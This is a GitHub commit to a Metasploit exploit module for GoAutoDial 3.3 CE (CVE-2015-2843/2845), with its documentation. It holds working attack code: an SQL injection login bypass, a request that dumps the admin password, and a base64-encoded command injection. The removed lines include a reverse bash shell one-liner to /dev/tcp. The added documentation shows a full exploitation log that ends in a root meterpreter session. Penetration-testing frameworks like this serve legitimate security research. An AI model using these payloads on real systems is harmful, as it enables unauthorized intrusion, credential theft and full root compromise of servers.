Skip to content

Commit 19ceb53

Browse files
committed
Modified payload handling and uploaded documentation
1 parent 07051d1 commit 19ceb53

File tree

2 files changed

+86
-30
lines changed

2 files changed

+86
-30
lines changed
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
## Description
2+
This module exploits a SQL injection flaw and command injection flaw within GoAutoDial CE 3.3, which permits authentication bypass and a complete compromise of the underlying system with root privileges. This module also extracts the administrative users password from the underlying database.
3+
4+
## Affected software
5+
GoAutoDial 3.3 CE (32bit and 64bit) is available for download from goautodial.org. In order to download, register a free account then download the bootable ISOs. Both ISOs have been used for the dev of this. http://goautodial.org/attachments/download/3237/goautodial-32bit-ce-3.3-final.iso.html
6+
Refer to: https://www.exploit-db.com/exploits/36807/
7+
8+
## Verification
9+
List the steps needed to make sure this thing works
10+
11+
- Start `msfconsole`
12+
- Do `use exploit/linux/http/goautodial_3_rce_command_injection`
13+
- Do `set payload cmd/unix/reverse_bash`
14+
- Do `set RHOST <IP>`
15+
- Do `set LHOST <IP>`
16+
- Do `set LPORT <PORT>`
17+
- Wait for shell
18+
```
19+
msf exploit(goautodial_3_rce_command_injection) > check
20+
[+] 192.168.0.76:443 The target is vulnerable.
21+
msf exploit(goautodial_3_rce_command_injection) > exploit -z
22+
23+
[*] Started reverse TCP handler on 192.168.0.11:4444
24+
[*] 192.168.0.76:443 - Trying SQL injection...
25+
[+] Authentication Bypass (SQLi) was successful
26+
[*] 192.168.0.76:443 - Dumping admin password...
27+
[+] admin|goautodial|Admin|||Y
28+
[*] 192.168.0.76:443 - Sending payload...waiting for connection
29+
[*] Command shell session 7 opened (192.168.0.11:4444 -> 192.168.0.76:37338) at 2017-06-18 01:40:41 +1000
30+
[*] Session 7 created in the background.
31+
msf exploit(goautodial_3_rce_command_injection) > sessions -u 7
32+
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [7]
33+
34+
[*] Upgrading session ID: 7
35+
[*] Starting exploit/multi/handler
36+
[*] Started reverse TCP handler on 192.168.0.11:4433
37+
[*] Starting the payload handler...
38+
[*] Sending stage (797784 bytes) to 192.168.0.76
39+
[*] Meterpreter session 8 opened (192.168.0.11:4433 -> 192.168.0.76:58124) at 2017-06-18 01:41:04 +1000
40+
[*] Command stager progress: 100.00% (668/668 bytes)
41+
msf exploit(goautodial_3_rce_command_injection) > sessions -i 8
42+
[*] Starting interaction with 8...
43+
44+
meterpreter > getuid
45+
Server username: uid=0, gid=0, euid=0, egid=0
46+
meterpreter > sysinfo
47+
Computer : test
48+
OS : CentOS 5.10 (Linux 2.6.18-371.11.1.el5)
49+
Architecture : x64
50+
Meterpreter : x86/linux
51+
52+
```

modules/exploits/linux/http/goautodial_3_rce_command_injection.rb

Lines changed: 34 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
1010

1111
def initialize(info={})
1212
super(update_info(info,
13-
'Name' => "GoAutoDial 3.3 Authentication Bypass",
13+
'Name' => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
1414
'Description' => %q{
1515
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
1616
},
@@ -24,19 +24,19 @@ def initialize(info={})
2424
['CVE', '2015-2843'],
2525
['CVE', '2015-2845']
2626
],
27-
'Platform' => %w{ linux },
28-
'Targets' =>
29-
[
30-
['Automatic', {}]
31-
],
27+
'Platform' => %w{unix},
28+
'Arch' => ARCH_CMD,
29+
'Targets' => [ ['Automatic', {} ] ],
30+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
3231
'DefaultTarget' => 0,
3332
'Privileged' => false,
34-
'DisclosureDate' => "Apr 21 2015"))
33+
'DisclosureDate' => 'Apr 21 2015'))
3534

3635
register_options(
3736
[
3837
OptPort.new('RPORT', [true, 'The target port', 443]),
39-
OptBool.new('SSL', [false, 'Use SSL', true])
38+
OptBool.new('SSL', [false, 'Use SSL', true]),
39+
OptString.new('TARGETURI', [true, 'The base path', '/'])
4040
])
4141
end
4242

@@ -51,9 +51,11 @@ def check
5151
end
5252

5353
def check_version()
54+
uri = target_uri.path
55+
5456
send_request_cgi({
5557
'method' => 'GET',
56-
'uri' => "/changelog.txt",
58+
'uri' => normalize_uri(uri, 'changelog.txt'),
5759
'headers' => {
5860
'User-Agent' => 'Mozilla/5.0',
5961
'Accept-Encoding' => 'identity'
@@ -62,10 +64,11 @@ def check_version()
6264
end
6365

6466
def sqli_auth_bypass()
67+
uri = target_uri.path
6568

6669
send_request_cgi({
6770
'method' => 'POST',
68-
'uri' => "/index.php/go_login/validate_credentials",
71+
'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
6972
'headers' =>
7073
{
7174
'User-Agent' => 'Mozilla/5.0',
@@ -74,16 +77,17 @@ def sqli_auth_bypass()
7477
'vars_post' =>
7578
{
7679
'user_name' => 'admin',
77-
'user_pass' => "' or '1'='1"
80+
'user_pass' => '\'%20or%20\'1\'%3D\'1'
7881
}
7982
})
8083
end
8184

8285
def sqli_admin_pass(cookies)
86+
uri = target_uri.path
8387

8488
send_request_cgi({
8589
'method' => 'GET',
86-
'uri' => "/index.php/go_site/go_get_user_info/'%20OR%20active='Y",
90+
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
8791
'headers' =>
8892
{
8993
'User-Agent' => 'Mozilla/5.0',
@@ -93,33 +97,37 @@ def sqli_admin_pass(cookies)
9397
})
9498
end
9599

96-
def exec_command(cookies)
97-
payload = "bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1"
98-
encoded = "#{Rex::Text.encode_base64(payload)}"
99-
params = "||%20bash%20-c%20\"eval%20\`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
100+
#
101+
# Run the actual exploit
102+
#
103+
def execute_command(cookies)
104+
105+
encoded = Rex::Text.encode_base64("#{payload.encoded}")
106+
params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
107+
uri = target_uri.path
100108

101109
send_request_cgi({
102110
'method' => 'GET',
103-
'uri' => "/index.php/go_site/cpanel/"+ params,
111+
'uri' => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
104112
'headers' => {
105113
'User-Agent' => 'Mozilla/5.0',
106114
'Accept-Encoding' => 'identity',
107115
'Cookie' => cookies
116+
108117
}
109118
})
119+
110120
end
111121

112-
#
113-
# Run the actual exploit
114-
#
115-
def run_it()
122+
123+
def exploit()
116124
print_status("#{rhost}:#{rport} - Trying SQL injection...")
117125
res1 = sqli_auth_bypass()
118126

119127
if res1 && res1.code == 200
120-
print_good("Authentication Bypass (SQLi) was successful")
128+
print_good('Authentication Bypass (SQLi) was successful')
121129
else
122-
print_error("Error: Run 'check' command to identify whether the auth bypass has been fixed")
130+
print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
123131
end
124132

125133
print_status("#{rhost}:#{rport} - Dumping admin password...")
@@ -128,14 +136,10 @@ def run_it()
128136
if res
129137
print_good(res.body)
130138
else
131-
print_error("Error: No creds returned, possible mitigations in place.")
139+
print_error('Error: No creds returned, possible mitigations are in place.')
132140
end
133-
print_status("#{rhost}:#{rport} - Attempting reverse_tcp shell one-liner...wait for connection")
134-
exec_command(res1.get_cookies)
135-
end
141+
print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")
136142

137-
138-
def exploit()
139-
run_it()
143+
execute_command(res1.get_cookies)
140144
end
141145
end

0 commit comments

Comments
 (0)